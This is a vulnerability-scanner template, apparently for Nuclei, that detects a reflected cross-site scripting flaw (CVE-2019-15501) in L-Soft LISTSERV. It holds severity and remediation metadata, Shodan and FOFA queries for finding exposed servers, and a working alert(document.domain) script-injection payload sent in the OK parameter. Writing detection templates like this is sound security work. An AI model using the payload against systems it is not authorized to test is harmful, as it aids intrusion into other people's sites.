id: CVE-2019-15501

info:
  name: L-Soft LISTSERV <16.5-2018a - Cross-Site Scripting
  author: LogicalHunter,arafatansari
  severity: medium
  description: |
    L-Soft LISTSERV before 16.5-2018a contains a reflected cross-site scripting vulnerability via the /scripts/wa.exe OK parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade to a version of L-Soft LISTSERV that is higher than 16.5-2018a to mitigate the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/47302
    - http://www.lsoft.com/manuals/16.5/LISTSERV16.5-2018a_WhatsNew.pdf
    - https://nvd.nist.gov/vuln/detail/CVE-2019-15501
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-15501
    cwe-id: CWE-79
    epss-score: 0.08182
    epss-percentile: 0.9414
    cpe: cpe:2.3:a:lsoft:listserv:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: lsoft
    product: listserv
    shodan-query:
      - http.html:"LISTSERV"
      - http.html:"listserv"
    fofa-query: body="listserv"
  tags: cve2019,cve,xss,listserv,edb,lsoft,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/scripts/wa.exe?OK=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'
          - 'LISTSERV'
        case-insensitive: true
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c3ff83172527412091bada9bf3f83857a246d5360a03503ccb138ee156485325022100b71284fd452e987e937953ee7598216a52a2d7437aa32251475f43e3378281d0:922c64590222798bb761d5b6d8e72950